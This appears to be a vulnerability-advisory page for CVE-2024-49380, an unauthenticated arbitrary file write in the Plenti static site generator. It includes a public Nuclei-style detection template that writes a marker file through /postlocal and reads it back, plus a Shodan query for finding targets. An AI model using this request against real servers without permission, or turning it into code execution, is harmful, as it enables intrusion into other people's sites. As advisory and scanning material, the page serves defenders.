CVE-2024-49380: Plenti < v0.7.2 - OS Command Injection

日期: 2025-08-01 | 影响软件: Plenti | POC: 已公开

漏洞描述

Plenti, a static site generator, has an arbitrary file write vulnerability in versions prior to 0.7.2. The `/postLocal` endpoint is vulnerable to an arbitrary file write vulnerability when a plenti user serves their website. This issue may lead to Remote Code Execution. Version 0.7.2 fixes the vulnerability.

PoC代码[已公开]

id: CVE-2024-49380

info:
  name: Plenti < v0.7.2 - OS Command Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Plenti, a static site generator, has an arbitrary file write vulnerability in versions prior to 0.7.2. The `/postLocal` endpoint is vulnerable to an arbitrary file write vulnerability when a plenti user serves their website. This issue may lead to Remote Code Execution. Version 0.7.2 fixes the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2024-297_GHSL-2024-298_plenti/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-49380
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-49380
    cwe-id: CWE-78
    epss-score: 0.20915
    epss-percentile: 0.95434
  metadata:
    max-request: 2
    verified: true
    shodan-query: title:"Plenti"
  tags: cve,cve2024,plenti,rce,injection,intrusive

variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /postlocal HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        [{"Action": "create","Contents":"{{randstr}}","File": "static/{{filename}}.txt"}]

      - |
        GET /{{filename}}.txt?{{wait_for(5)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}")'
          - 'contains(header_2, "text/plain")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4b0a004830460221008b252dc629577f54bfb2336639634cbe6705adbec526344033579f84cc087a86022100ac383658660a8e9bce3aa06a8c11f11c917fc234f13952488350e7640dceac83:922c64590222798bb761d5b6d8e72950